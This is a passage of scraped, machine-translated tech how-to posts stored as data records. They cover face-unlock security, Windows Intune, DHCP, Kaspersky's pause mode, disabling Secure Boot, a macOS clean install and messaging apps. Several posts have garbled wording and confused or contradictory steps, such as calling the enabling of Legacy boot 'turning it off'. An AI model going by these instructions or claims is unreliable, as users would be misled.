infrared radiation allows the phone to accurately scan your face, even in the dark.\nWhy can facial recognition be problematic? Of course, conventional visible-spectrum camera scanning has some flaws. It can even scan and allow access with the face of a loved one or a stranger. Plus, it has a higher chance of failure and you can fool around with a photo of yourself.\nBut that technology is no longer used in modern smartphones. However, even the technology that is in vogue today sometimes has flaws.\nSo while it's not possible to detail how and why the facial recognition feature of every smartphone out there sometimes crashes, let's look at the possible causes over a few. For example.\nSamsung's Iris technology is accurate but can be fooled   Samsung's iris scanning technology, starting with the Galaxy S8 and S8+, has chosen a point on the face to improve the security of the phone. This technology works by scanning for unique patterns in your iris.\nSince each individual's iris pattern is unique, Samsung has claimed this to be an anti-deception technology. Unfortunately, there is some potential error with this scanning method as you can still fool it by wearing contact lenses.\nAnd despite combining 2D imaging with iris scanning in more recent versions like the S21 series, Samsung warns that using facial recognition isn't as secure as using a PIN or fingerprinting.\nThe company also recommends against using this feature with online payment and money transfer platforms.\nWhy is Huawei 2D Live Detection not completely secure? Huawei, which uses open source Android cores, is another popular example of facial recognition. The company first introduced its facial recognition security feature in the P20 series and has since added the feature to other products such as the 2018 Mate 10 and Y series.\nHuawei uses 2D live recognition technology, similar to how facial recognition works on other Android phones.\nThat technology makes it hard for anyone to unlock their smartphone with a photo, as it doesn't work without some facial action like blinking. Therefore, your phone may not open if you do not follow the rules, even with the correct face scan.\nIn addition, this feature depends on the current status of the front camera on the smartphone. So sometimes someone who looks like you can still open a smartphone. Of course, a poor camera can further undermine the accuracy of the setup.\nWhy can the trusted Apple Face ID be in trouble?   Apple's Face ID, which debuted with the iPhone X in 2017, remains the most advanced smartphone facial recognition system available today.\nIn contrast to the 2D infrared iris scanning technology of Huawei and Samsung, Apple takes a 3D image of your face using the TrueDepth camera system instead of a front camera.\nApple's TrueDepth technology combines infrared capture with sensors and scanning components. It then uses these to analyze more than 30,000 dotted areas of the face during the scan to create facial depth.\nYour iPhone learns, remembers, and recognizes these patterns, so a mere photo or anyone's face can't fool it.\nApple's Face ID works by adapting to changes in your facial expression and appearance over time. That contrasts with the one-time iris facial recognition and helps it work more accurately.\nSurprisingly, Apple's Face ID sometimes successfully unlocks the phone after scanning someone with a strong resemblance to the original owner. But how?\nApple claims that there is only a one in a million chance of someone else's face opening your iPhone. But it also warns that the chances are higher with identical twins, siblings and children whose facial structures are not fully developed.\nThat's because Face ID learns more about your face each time you enter your Apple passcode: It can pick up different facial patterns to authenticate and unlock your iPhone the next time someone else holds it. . Revealing your passcode to someone could result in a security breach, and they may not need the passcode to unlock your iPhone in the future.\nHow to prevent strange faces from unlocking your device While the facial recognition error on your smartphone isn't your fault, there are ways to prevent it if you use the feature.\nErrors on iPhones could be the result of algorithms learning other people's facial patterns. To prevent this, you should not share your Apple ID with others. And be careful not to open your iPhone with your Apple ID when someone looks like you, like a sibling.\nIf your Face ID feature has failed, go ahead and delete that Face ID data by going to Settings \u0026gt; Face ID \u0026amp; Passcode \u0026gt; Reset Face ID. This will remove your face from memory, including all the stored math algorithms that set up your face patterns. You can create a new one if you want.\nAlso make sure that you have Require Attention turned on. This means that anyone using Face ID has to be actively looking at the device: no one can open it with your face while you're sleeping or looking away. Go to Settings \u0026gt; Face ID \u0026amp; Passcode and make sure that Require Attention for Face ID is turned on.\nWhile you can lock some apps with Face ID, some smartphone manufacturers have warned that facial authentication can pose some security issues, especially with transactions. online translation. Fingerprints and PINs are still the most secure means of keeping your phone safe.\nSo, if face unlock is having problems on your smartphone, you should deactivate it to prevent unauthorized access to your device.\nFace ID how face id works ncG1vNJzZmismaXArq3KnmWcp51ksKK6jKyrq5menLKzv4yupaWnk6B6urvUq2SpoJ%2Bjsm7DyK2fZp6RmLJutcNmn6ivXam8brzRnq2epqRiwam10g%3D%3D\n","link":"/post/can-strangers-unlock-your-phone-with-face-id-how-to-prevent-this/","section":"post","tags":null,"title":"Can strangers unlock your phone with Face ID? How to prevent this?"},{"body":"Network Administration - In this series, we will introduce you to Windows Intune, a Microsoft cloud service, that allows you to manage computers from anywhere.\nWith Gmail / Google Apps or Microsoft Office 365, users can access email and work on their documents anywhere on most devices. But can you use cloud to manage and secure users' computers from anywhere?\nWindows Intune allows you to do this and provide answers about what's missing for cloud computing - the computer management aspect. Windows Intune is a Microsoft cloud service that allows you to manage and secure corporate computers from anywhere through the web interface as shown in Figure 1 below.\n Figure 1: Windows Intune web administration interface\nIn this section, we will give you an overview of Windows Intune - What is Windows Intune, why do we need Windows Intune, what can it do for you, or how to get it? Windows Intune, . In the following parts of the series, we will introduce the Windows Intune environment and use it to manage corporate computers.\nWhat is Windows Intune? Windows Intune is a cloud service provided by Microsoft Online Services, allowing you to manage and secure corporate computers from anywhere.\nRequired for Windows Intune? Once you have registered Windows Intune, you only need to install the Windows Intune client client on computers, they need to be using Windows 7, Windows Vista or Windows XP operating system. Once you have installed the Windows Intune client on computers, you can manage them from anywhere using a web browser that supports Microsoft Silverlight 3.0 (such as Windows Internet Explorer 7 or higher).\nAn obvious requirement to ensure you can use Windows Intune in managing computers is an Internet connection. In other words, the computers you want to manage - and management workstations - must be connected to the Internet.\nWhat can you do with Windows Intune? You can use Windows Intune to perform some common administrative tasks with corporate computers such as:\nMake sure they install the latest software updates Inventory software installed on them Create detailed reports in hardware inventory Check computer problems such as losing the upgrade Protect your computer against malware intrusion Provides Remote Assistance when users encounter difficulties Benefits from using Windows Intune? Benefits of using Windows Intune include businesses and users:\nThe cost of deploying and maintaining traditional system management software cannot be stretched, like Microsoft System Center Configuration Manager (SCCM) or traditional computer security software such as Microsoft Forefront Endpoint Protection Suite, or those without IT support groups to deploy and use such large and complex software, or organizations that are too small (only a few computers) but need strong system management software. Computers are geographically dispersed (including mobile computers), making it difficult to manage from a central location using system management software. There are also external computers (not controlled by the organization) and within the organization. Want to minimize investment in system management activities. No server needed to manage computers in the organization. Want to provide monthly forecasting of management activities to better serve budget planning. Want to outsource computer management activities to another company such as managed solution providers. What do you get with Windows Intune? Your Windows Intune subscription also has the right to upgrade computers to Windows 7 Enterprise. So if you're using Windows XP on computers and want to sign up for Windows Intune, you can upgrade them to Windows 7 Enterprise without having to buy any other subscriptions. Windows Intune is similar to Microsoft's Software Assurance (SA) program at this point for customers who subscribe to the service. In fact, when signing up for Windows Intune you can also buy Microsoft Desktop Optimization Pack (MDOP), a product package that provides management and troubleshooting tools for IT staff.\nWhat is not achieved with Windows Intune? Large businesses prefer to use system management software like SCCM and Forefront Endpoint Protection. Medium-sized businesses want to be able to use System Center Essentials with Forefront Endpoint Protection. Small businesses or medium sized businesses but no staffed IT professionals can use Windows Intune to manage and secure their computers. However, there are a few things you can do with System Center and Forefront that can't be done with Windows Intune. Specifically, you can't do anything below with Windows Intune:\nDeploy operating systems to new computers Manage computers using Group Policy Managing server operating system So if you need the above features for your organization, Windows Intune is not in your selection at the moment.\nNote:\nIf you are managing computers in a domain using Windows Intune and configuring Group Policy for a domain in which a Windows Intune setting conflicts with Group Policy settings, Group Policy settings take precedence. This situation may appear with Windows firewall configuration or Windows Update policy settings on computers.\nIs Windows Intune really reliable? Microsoft guarantees to provide 24-hour support for Windows Intune subscribers in case of problems using the service.\nHow to get Windows Intune? Microsoft allows you to try Windows Intune before deciding to buy. You can try the free platform for 30 days and allow up to 25 computers to be managed within the organization.\nAt this point, Windows Intune is still in beta and allows to use this version to manage 10 computers. You can visit here to enter the beta version.\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z66rnqpdoq6vrcaepJ6mpGLEqsDHZq6ippSkxLR5yKerrqaVYr2ivtNmaGahnqm%2FsLDUnKuip54%3D\n","link":"/post/computer-management-with-windows-intune/","section":"post","tags":null,"title":"Computer management with Windows Intune"},{"body":" Want to change out your boring Windows startup sound? While it was easy to do in Windows XP, Microsoft has made the process much less straightforward in newer versions of Windows. In order to change the sound, you will need to download a...\nMethod 3of 3:\nWindows XP Startup Sound  Click the Start menu and select \"Control Panel\".\n  Open \"Sounds and Audio Devices\".\n  Click the \"Sounds\" tab.\n  Scroll down and select the \"Start Windows\" entry.\n  Click the \"Browse\" button to search your computer for a new sound. It must be in WAV format.\n  Click \"Apply\" to save your changes.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYywoKecn6zAbr%2FTmqmtraBiwLDBzZ0%3D\n","link":"/post/how-to-change-windows-startup-sound/","section":"post","tags":null,"title":"How to Change Windows Startup Sound"},{"body":" While many programming environments will allow you to compile and run a program within the environment, you can also compile and run using Command Prompt. Both Windows and Mac have their own versions of Command Prompt, although it is...\nMethod 1of 2:\nCompiling and Running  Save the program. After using a text editor, such as NotePad, to create your Java program, save the program with a .java extension. Of course, the file name can be anything. For the purposes of this tutorial, \"filename\" will be used as a placeholder for your file name. To ensure that your file is saved as a .java file, be sure to write .java after the file name, and select All Files from the dropdown extension menu. Make note of where you saved the file on your system. If you are unsure of how to write a program in Java, check out our tutorial on how to program in Java. For the purposes of learning how to compile and run a program, though, you can use any sort of Java program.   Open Command Prompt/Terminal. Accessing the command line differs slightly for Mac and Windows. Windows: Press ⇱ Home, then type cmd. Press ↵ Enter to open the Command Prompt. Mac: In Finder, press the Go tab, select Applications, select Utilities, then select Terminal.   Check that Java is installed. Type  java -version  into your command line. If java is installed, you will see a message stating what version of Java is currently installed. If not, you may need to install the Java Development Kit from their website. It is free and can be found at this link: http://www.oracle.com/technetwork/java/javase/downloads/index.html.   Navigate to the correct folder. Use the command cd followed by the directory name to change your working directory. For example, if you were operating in  C:UsersBobProject  and wanted to get to  C:UsersBobProjectTitanProject , enter in  cd TitanProject  and press ↵ Enter. You can see a list of what is in your current directory by typing  dir  and pressing ↵ Enter.   Compile the program. Once you are in the correct directory, you can compile the program by typing  javac filename.java  into the command line and pressing enter. If you have any errors in your program, or if there is difficultly compiling, the command prompt will notify you. Check out our article about how to fix compiler errors in Java for more help.   Run the program. Enter in  java filename  and press ↵ Enter. Of course, replace \"filename\" with whatever the name of your file actually is. After pressing ↵ Enter, your program should run. If you receive an error, or if your program fails to run in any way, refer to the troubleshooting method.  Method 2of 2:\nTroubleshooting  Set your path. If you are running a simple program with all of the files in the same directory, you will probably not need to do this. However, if you are running a more complex program with files in multiple directories, you will need to tell the computer where to look for these files. Windows: Type  java -version  into the command prompt and press ↵ Enter. Based off the version of Java displayed on the first line, type in  set path=%path%;C:Program FilesJavajdk1.5.0_09bin  to the command prompt and press ↵ Enter. Substitute jdk1.5.0_09 with whatever version of Java you have installed. Be sure you are entering in this command while in the directory containing your Java project.  Mac: Type  /usr/libexec/java_home -v 1.7  into the terminal and press ↵ Enter to ensure Java is installed on your system. Then, type  echo export \"JAVA_HOME=$(/usr/libexec/java_home)\" \u0026gt;\u0026gt; ~/.bash_profile  into the terminal and press ↵ Enter. Restart the terminal afterwards.   David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2quMRmZJqmlGJ6s8HNZqGarpFivbO7xquYpmWlqLavs4ycpqalkaOxbrzRqKSprA%3D%3D\n","link":"/post/how-to-compile-run-java-program-using-command-prompt/","section":"post","tags":null,"title":"How to Compile \u0026amp; Run Java Program Using Command Prompt"},{"body":"This article will show you two ways to create a folder right on the desktop in Windows 11\nCreate folders on the desktop using the context menu The simplest way for you to create a folder on the Windows 11 desktop is to use the context menu.\nFirst, press the keyboard shortcut Windows + D to open the desktop of your Windows 11 PC.\nOn desktop, you right click on any empty area, A menu will open, this is called context menu. Here, click New \u0026gt; Folder.\n  Windows 11 will immediately create a new folder on your desktop. Use the keyboard to enter a name for the folder and press Enter.\n  The new folder is now ready to use. Repeat this simple process to create any other new folders you want.\nCreate a folder on the desktop using the command If you prefer a more 'professional' option of creating desktop folders, you can use a command line tool, such as Windows Terminal.\nStart by opening the Windows Terminal app on your PC. To do this, first open the 'Start' menu, search for the keyword 'Windows Terminal', then click on the corresponding application in the returned search results.\n  In Windows Terminal, you can use PowerShell or Command Prompt to create a new folder. On either of these shells, simply type the following command and press Enter. In this command, replace C with the drive you chose to install Windows on. Also, replace 'username' with your own username. This command will make the desktop the current working directory.\ncd C:/Users/username/Desktop   Next, type the following command and press Enter. In this command, replace My New Folder with the name that you want to assign to your new folder. Leave quotes around the folder name.\nmkdir \"My New Folder\"   Accomplished! Your new folder is now created on the desktop.\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyfpqWclafAbrvNZquhnV2ZsrS306inZqGeYsSqusOorqxlYWY%3D\n","link":"/post/how-to-create-folders-on-the-desktop-in-windows-11/","section":"post","tags":null,"title":"How to create folders on the desktop in Windows 11"},{"body":"This means they are assigned an IP address the next time they connect to the network and in fact they may get a completely different address the next time they connect.\nWhether or not the device uses DHCP is a per-connection setting. In other words, if you disable DHCP for your wired connection, all wireless connections will continue to use DHCP until you do so.\nDisable DHCP for a connection in Windows To disable DHCP for connection in Windows you follow the steps listed below:\nStep 1. Press the Win + X keys , then select Settings.\nStep 2. Click on Network \u0026amp; Internet item .\nStep 3. Click the network connection (wired or wireless) (such as Ethernet) that you want to configure, and then click the Properties button .\n  Step 4. In the connection details section, you will see the IP settings section . Click the Edit button which you will find there.\n  Step 5. In the Edit IP settings dialog box , the connection will most likely be configured as Automatic. Click the drop-down menu and change it to Manual.\n  Step 6. You should see two display toggle switches, one for IPv4 and one for IPv6. You can enable either or both, the procedure is the same for each option. For example will click the switch for IPv4.\nStep 7. A series of new fields will appear. You will need to fill in these fields, including at least the IP address (which is of course the one you want the machine to have), the Subnet prefix length (this describes the class of the network, try 24 here and if that doesn't work. dynamic, change to 16 ), Gateway (your router device address, most likely 192.168.0.1) and Preferred DNS (you can use the DNS provided by your ISP or try Google's DNS if you don't can be found: 8.8.8.8 ).\n8. Click Save to make the changes.\nNote : You can also set the same setting for the network connection from Control Panel\u0026gt; Networking and Sharing Center\u0026gt; Change adapter settings . Select the desired connection and click the Change settings of this connection button .\nThen click the Internet Protocol Version 4 (TCP / IPv4) option (but don't uncheck the checkbox) and click the Properties button . This will give you a dialog box similar to the one you saw in Settings , in the \"old\" Windows style. Note that you can set IPv6 in the same way.\nRe-enable DHCP in Windows While disabling DHCP can be a bit tricky, re-enabling it is much easier.\nStep 1. Go back to Settings\u0026gt; Network \u0026amp; Internet , and click the Properties button for the network connection.\nStep 2. Click the Edit button in the IP settings section for the connection.\nStep 3. The Edit IP settings dialog box will contain your previous configurations. Click the drop-down menu at the top of the dialog box and switch it from Manual back to Automatic.\nDHCP disable DHCP ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmm6GboGK2r3nWoqWdp6eoenJ8\n","link":"/post/how-to-disable-dhcp-in-windows-10/","section":"post","tags":null,"title":"How to disable DHCP in Windows 10"},{"body":"When you install software on your computer, there will be some software that requires turning off antivirus software. This makes you worry because your computer will be infected with malware, but for Kaspersky you do not need to do so because this software has Pause Protection mode. When using Pause Protection mode, Kaspersky anti-virus software will be turned off or paused for a certain period of time. During this time, all information about the operation of the computer will be monitored and saved, and when Kaspersky resumes operation, this information will be used to remove harmful components. may have invaded your device during a pause.\nStep 1 : Have you had to make up icon on the taskbar and select Kaspersky Pause protection . If you let the English language will be the Pause Protection . .\n  Step 2 : A new window will appear, we will have 3 options to pause protection that is:\n- Pause for a specified time, you can choose 1 minute, 5 minutes, or 5 hours at your disposal:\n  - Pause until restart the application:\n  - And permanently pause, you can turn it on whenever you need.\n  Step 3: You choose 1 of 3 modes and then click Pause protection, if you want to turn protection back on, just right click on the application icon and select Restore protection (Resume Protection).\n  Above is a guide on how to pause protecting Kaspersky antivirus software, hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiRqsCmedKemq6qmanGbrnOnZxmoZ5iuKK%2Fz56prKOp\n","link":"/post/how-to-pause-security-mode-in-kaspersky/","section":"post","tags":null,"title":"How to pause security mode in Kaspersky"},{"body":" This wikiHow teaches you how to take and save a photo of your screen on a Dell computer. Navigate to a page on which you wish to take a screenshot. Anything that's on your screen (other than your mouse cursor) will be captured when you...\nMethod 2of 3:\nUsing Windows XP, Vista, and 7  Navigate to a page on which you wish to take a screenshot. Anything that's on your screen (other than your mouse cursor) will be captured when you take your screenshot, taskbar included. For example, you might open a Facebook conversation you had with a friend.‎   Locate the ⎙ PrtScr key. The \"Print Screen\" key is typically found in the upper-right side of Dell keyboards. Unlike other computer manufacturers' keyboards, the \"Print Screen\" key usually doesn't have anything else written on it. The \"Print Screen\" key may be written a number of different ways, but \"PrtSc\" and \"Prnt Scr\" are the two most common variations.   Press ⎙ PrtScr. Doing so will copy an image of your screen onto your computer's clipboard, from which you can paste it into an application that will allow you to save it as a picture. Some Dell keyboards have \"PrtSc\" written in a different color than the regular key color (e.g., white). If so, you'll need to press Fn in the left corner of the keyboard while pressing ⎙ PrtScr.   Open the Start menu. You can do this by clicking either the Windows icon (Windows Vista and 7) or Start (Windows XP) in the bottom-left corner of the screen, or you can press the ⊞ Win key.\n  Type paint into the Start menu. You should see the Paint application pop up at the top of the Start menu's window. For Windows XP, click All Programs and then select the Accessories tab.   Click the Paint icon. It resembles a cup full of brushes (Windows XP and Vista) or a painting palette (Windows 7).\n  Hold down Ctrl and press V. This will paste your screenshotted image into Paint.\n  Click File. It's in the top-left corner of the Paint window.\n  Click Save. This will prompt a window wherein you can name your file.\n  Type in a name, then click Save. Doing so will save your screenshot to your computer's default save location, which is usually the Documents folder. You can change the save location by clicking on a folder in the left-hand sidebar.  Method 3of 3:\nUsing the Snipping Tool  Open the Start menu. To do so, either press the ⊞ Win key, or click the Windows logo in the bottom-left corner of the screen. The Snipping Tool is not available for Windows XP.   Type snipping tool into Start. This will pull up the Snipping Tool icon at the top of the Start window.\n  Click the Snipping Tool's icon. It resembles a pair of scissors. Doing so will open the Snipping Tool app.\n  Click Mode or ▼. This will prompt a drop-down menu with the following screenshot shape options: Free-form Snip – This lets you draw any shape with your mouse. The inside area of the shape will be captured for the screenshot. Rectangular Snip –This is the default shape, and lets you draw a box of any proportions to use as the screenshot. Window Snip – This takes a screenshot of a specific window, much like holding Alt and pressing Print Screen. You will be able to select which window you want to use. Full-screen Snip – This takes a screenshot of the entire screen, but doesn't show the Snipping Tool window.   Click a shape. It will be applied to your screenshot template.\n  Change the border. By default, all snips will have a red border around them. You can change this by clicking the Options button. This will open a new window, allowing you to disable the border or change the color.\n  Click New. It's on the left side of the Snipping Tool bar. Your screen will dim, and your mouse's cursor will turn into a crosshair.\n  Click and drag your mouse across the screen. As you do so, a rectangle will appear and encompass your selected area. If you selected Full-screen Snip, clicking New will take the screenshot.   Release the mouse button. This will take a screenshot of anything within the rectangular area.\n  Click File. It's in the top-left corner of the screenshot's page.\n  Click Save as. This option is near the middle of the drop-down field.\n  Type in a name, then click Save. Doing so will save your screenshot to your computer's default visual media save location, which is typically the Pictures folder. You can change the save location by clicking on a folder in the left-hand sidebar.   Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJurYysmqudlaPAqbvTZqanZZFisaa4yw%3D%3D\n","link":"/post/how-to-take-a-screenshot-on-a-dell/","section":"post","tags":null,"title":"How to Take a Screenshot on a Dell"},{"body":"If your computer cannot boot USB Boot and CD to install Windows or more Boot software from USB is due to Secure Boot mode is enabled and Boot Lagacy mode (Launch CMS) is turned off. When Secure Boot is turned on, the computer cannot boot Boot into USB or CD. At the same time, Boot Lagacy off also makes the computer unable to Boot from standard Legacy USB.\nIn this article, we will guide you how to turn off Secure Boot mode and turn on Boot Lagacy by entering the BIOS.Note, the BIOS interface will be different for each model, but generally the implementation is the same . In this article, we will do it with the Asus model.\n1. Boot into BIOS: To enter the BIOS, start the computer and press the shortcut repeatedly into the BIOS. For Asus, the shortcut to the BIOS is the F2 or Delete key. If your computer is not on the Asus series and you do not know how to enter the BIOS, you can refer to the article How to access BIOS on different computers.\n  2. Turn off Secure Boot mode and open Boot Legacy mode: After entering the BIOS you use the up and down arrow keys, Enter key or ESC key to make options. We will execute on two Boot and Security tabs.\nStep 1: At the Security tab, navigate to the Secure Boot section . If in the Enable state, choose to Disable .\nAt the Boot tab, find the CMS or Legacy section. If in the Disable state select Enable.\nNote , you must turn off Secure Boot mode first to perform this step and on many computers there will not be this option because it is not available.\nStep 2: Next, use the 4 keyboard arrows to find the Security tab, use the up and down arrow keys and the Enter key to select the Secure Boot Menu item.\n  Step 3: Here, if the status is Disable, Secure Boot mode is turned off. We press ESC to return to the previous BIOS screen.\nIf the current state is Enabled , we use the up and down arrows and the Enter key selects Secure Boot Control .\n  Step 4: Notice, select Disabled .\n  Step 5: Soon, we will see the Secure Boot status switched to Disabled off.\n  Step 6: If you just want to turn off Secure , press the F10 key and select Yes to save the editing settings above.\n  Step 7: To turn off Boot Legacy mode (Launch CMS) , press the ESC key to return to the BIOS screen at first. Use the 4 keyboard arrows to find the Boot tab .\nHere, we choose Launch CMS (another computer can be CMS or Legacy). Optionally, click Enabled and press Enter .\n  Step 8: Soon after, the Launch CMS status turned to Enabled . Continue to press F10, select Yes to exit the BIOS and save the new settings.\n  So, you have completed the steps to turn off Secure Boot mode and open Boot Legacy mode. Although the BIOS interface is different, you can completely follow the steps above.\nRefer to the following articles: Reset BIOS password or remove BIOS password with CMOS battery Enable password in BIOS 3 simple ways to check the configuration and hardware information of computers and laptops I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKydk6q%2FpnnBqKatZZ2ksaZ5wKebZqegmrturs6oq2aklZyupMWMpqadnQ%3D%3D\n","link":"/post/how-to-turn-off-secure-boot-mode-and-open-boot-legacy-mode/","section":"post","tags":null,"title":"How to turn off Secure Boot mode and open Boot Legacy mode"},{"body":"After improving and changing some features on the Beta version, the final version (the final version) of macOS Sierra 10.12 was also released by Apple. If you want to install macOS Sierra 10.12 and experience the new features of this version on Mac, please refer to the steps in the following article of Network Administrator.\n  Part 1: Requirements - First, make sure that the data and important files have been backed up to make sure that the data and files are not lost during execution.\n- Mac supports installing macOS Sierra.\nMac list compatible with macOS Sierra:\nMacBook - late 2009 and later iMac - late 2009 and later MacBook Air - 2010 and later MacBook Pro - 2010 and later Mac Mini - 2010 and later Mac Pro - 2010 and later Part 2: Install new macOS Sierra Step 1: First access the Mac App Store to download macOS Sierra version 10.12 Final.\nIf you haven't downloaded the macOS Sierra version 10.12 Final, then Mac App Store will prioritize downloading the installer file and then guide you through the steps to install. When you finish downloading the installer, make sure you exit the installer to use this installer for other purposes.\n  Step 2: Once you have downloaded the installer, the next step is to use this installer to create a bootable USB drive, this bootable USB drive allows you to install macOS Sierra on the Mac.\nThis means installing new, not upgrading from other settings like El Capitan or Yosemite.\nRefer to the steps for creating macOS Sierra 10.12 installer using USB here.\n  Step 3: With the newly created USB Bootable drive, the next step to do is plug the USB drive into the Mac and start the Mac to appear a question from the cold start (cold start).\nWhen the Mac restarts, make sure that you press and hold the Option key during the boot process to bring up a new menu on the screen, which gives you options to boot from. Finally, make sure you select the USB bootable drive plugged into Mac and press Enter to continue doing the following steps.\n  Step 4: After the device has finished checking and running the program, the macOS Utilities menu will appear on the screen. Make sure you select Disk Utility from the options available, then select Continue to take the next steps.\n  Step 5: When Disk Utility is loaded, make sure that the main hard drive on the Mac is selected in the left pane, then click the Erase button .\nMake sure that the Name frame is still 'Macintosh HD' and that in the Format format box, select 'Mac OS Extended (Journaled)'. Then click the Erase button and all data will be erased.\n  Step 6: The current installation will be wiped clean. Now macOS Utilities menu appears again. Your task is to select Install macOS and select Continue.\n  \nA new window appears, where you click Continue and make sure that Macintosh HD is selected, this is the hard drive platform on the Mac, then click Install.\n  \nNow the new macOS Sierra installation process will begin.\nRefer to some of the following articles: Instructions for using hidden icons on Mac keyboard Steps to install Windows 7 on Mac using Boot Camp Instructions from AZ how to install Windows 10 on Mac Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnIp6qtmZyheq6twqiqZquZmr%2BzrYyco56ZnmK2r7%2FTmqOlZWFlfnN5zqdkppmT\n","link":"/post/instructions-on-how-to-install-macos-sierra-clean-install-10-12-on-mac/","section":"post","tags":null,"title":"Instructions on how to install macOS Sierra (clean install) 10.12 on Mac"},{"body":"Many times you will love to put a button on your website to print the content of that page through a printer. JavaScript helps you perform this function by using the print function of the window object.\nThe window.print () function in JavaScript prints the current page when executed. You can call this function directly using the onclick event as in the following example:\nFor example\nTry the following example:\n Result\nFollow the above method to see the results\nAlthough it serves the purpose of printing, it is not the recommended way to use. A friendly printer page is actually a page with text, no images, graphics or advertising.\nYou can create a friendly page printer in the following ways:\nCreate a copy of the page and remove the excess text, graphics, and then connect to that friendly page printer. You check the following example: Example.\nIf you don't want to keep an extra copy of the page, you can mark printable text using the same comments as: . and then you can use PERL or any other script in the background to filter printable text and display it for the final print job. You use this method to provide print media to visitors. You check for example: For example.\nHow to print a page\nIf you don't see the media on a web page, you can use the browser's standard toolbar to print the site. Follow the following link:\nFile → Print → Click OK button .  According to Tutorialspoint\nPrevious article: Void keyword in JavaScript\nNext article: Objects in JavaScript\nncG1vNJzZmismaXArq3KnmWcp51kvbO1za1kqZmXmsButc1moZqukaiws7XPrQ%3D%3D\n","link":"/post/print-pages-in-javascript/","section":"post","tags":null,"title":"Print pages in JavaScript"},{"body":"So if the computer does not have editing software installed on the computer and you want to edit content quickly, you can use the Word Editor utility. The following article will guide readers to use the Word Editor utility on the browser.\nInstructions for composing documents on the Word Editor utility Step 1:\nUsers download the extension for Chrome browser by following the link here and then proceed with the installation as usual.\nFor other browsers, you can access the link here to download the Word Editor utility and install it.\nStep 2:\nAfter the installation is complete, click the icon of the Word Editor utility on the browser address bar.\n  Step 3:\nNext you will see the editing interface as shown below. Above will be the tools used to edit documents and edit content. The utility also has the option to switch to a black background by clicking on the moon icon.\n  The utility still has basic editing tools such as formatting text, creating tables, inserting links, bookmarks, adding special character symbols, .\n  Step 4:\nAfter you have finished editing the content, click File to save the document. Currently, the utility only supports saving content in .html format, but you can still open it on other text readers.\nClick Save as to select the folder you want to save this file to.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddqsCmedOhnGavn6exbrHDoquoql2asarAyKeeZq2knrmqwNhmpqdlpJ2ybq7RqK6snaI%3D\n","link":"/post/steps-to-use-the-word-editor-editing-utility-on-the-browser/","section":"post","tags":null,"title":"Steps to use the Word Editor editing utility on the browser"},{"body":"Today, more people communicate via text messages than actual phone calls. The message history will serve as a reference in case you need to review something someone has said.\nBut SMS is old. Now, the use of Wi-Fi and mobile data is becoming increasingly popular, there is no reason to continue using the old SMS protocol. Are you looking for a better messaging experience? Take the time to review the following convenient apps!\nThe best free messaging app WhatsApp (Android, BlackBerry, iOS, Windows Phone) Viber (Android, BlackBerry, iOS, Symbian, Windows Phone 7) Facebook Messenger (Android, BlackBerry, iOS) Google Hangouts (Android, iOS) Textfree (Android, iOS) TextPlus 2013 (Android, iOS, Kindle Fire, Windows Phone 8) Signal (Android, iOS) Tango (Android, iOS) KakaoTalk (Android, iOS, Windows, Mac) WhatsApp (Android, BlackBerry, iOS, Windows Phone)   WhatsApp is a mobile messaging application that allows you to exchange messages without having to pay for SMS. WhatsApp is currently available for iPhone , BlackBerry , Android , Nokia and these phones can text each other!\nWhatsApp uses the same internet data package that you use email and browse the web, so you will not have to waste the cost of messages when communicating.\nAlso with WhatsApp Messenger users can send unlimited photos, videos, audio to each other.\nViber (Android, BlackBerry, iOS, Symbian, Windows Phone 7)   Viber allows you to text, call, and send free photos and video messages worldwide with over 200 million users using 3G or Wifi. Viber is available for Android , iPhone , Blackberry , Windows Phone and many other devices or platforms.\nOn Viber, your phone number is also your ID . The app syncs with your mobile contact list, automatically detects the contacts that have been installed Viber.\nFacebook Messenger (Android, BlackBerry, iOS)   As a mini chat widget of facebook exclusively for users, you can chat with your friends on facebook interactive mode of this software is similar to yahoo .\nPretty simple but extremely convenient because facebook messenger supports quite a lot of current popular operating systems and ensures absolute security and safety when using. In addition to being able to see who is online, facebook messenger also helps you send messages to offline or offline members.\nGoogle Hangouts (Android, iOS)   Hangouts app supported on both Android and iOS platforms. This Google translation will allow users to communicate and communicate with others via the Internet without having to care about the type of device they use.\nUsers can use Hangouts to send messages, make phone calls, make video calls, share photos or talk features and group chat . group video chat features allow users to join the conversation. with up to 10 others.\nTextfree (Android, iOS)   Textfree is another suitable free messaging application in case you don't mind being bothered by ads. This is an application exclusively for iPhone and Android , granting you a new phone number to send and receive messages.\nThe application is free, but if you want to remove ads, you must pay 5.99 USD / year. Textfree was evaluated by the New York Times as \"the fastest, most reliable and easiest to use \".\nTextPlus 2013 (Android, iOS, Kindle Fire, Windows Phone 8)   TextPlus application provides free and unlimited messaging for your phone. It gives you a free phone number. This application is known for group messaging features, allowing you to talk to people around the world in a chat-room-type location. Picture messages and voice notes are also integrated.\nSignal (Android, iOS)   Online privacy is a hot topic every year. Did you know that your phone can be used to track yourself? And sometimes it is not that you are attacked by a spy, but simply, it is the result of sharing too much information online.\nThat's why Signal is an important application you should have. Confirmed by Edward Snowden himself, this encrypted tool allows you to communicate without being overheard or interfered with. It also has open source (useful in case you want to test the code yourself).\nMain function:\nPhone calls from this Signal user to other Signal users are free (domestic and international). Messages from this Signal user to other Signal users may include text, images, videos. Messages from this Signal user to other Signal users can be sent to groups. All messages are encrypted from beginning to end. SMS messages can be sent and received but not encrypted. Use your current phone number and address book. Signal servers do not store any messages. Available on Android and iOS. Of course, Signal is not the only privacy-guaranteed messaging app, but Signal is one of the best options (Signal is ranked 4.6 out of more than 98,000 reviews). If you don't like it, try a few other options on this list.\nDownload Signal (free).\nTango (Android, iOS)   The main focus of Tango is video calling but its text 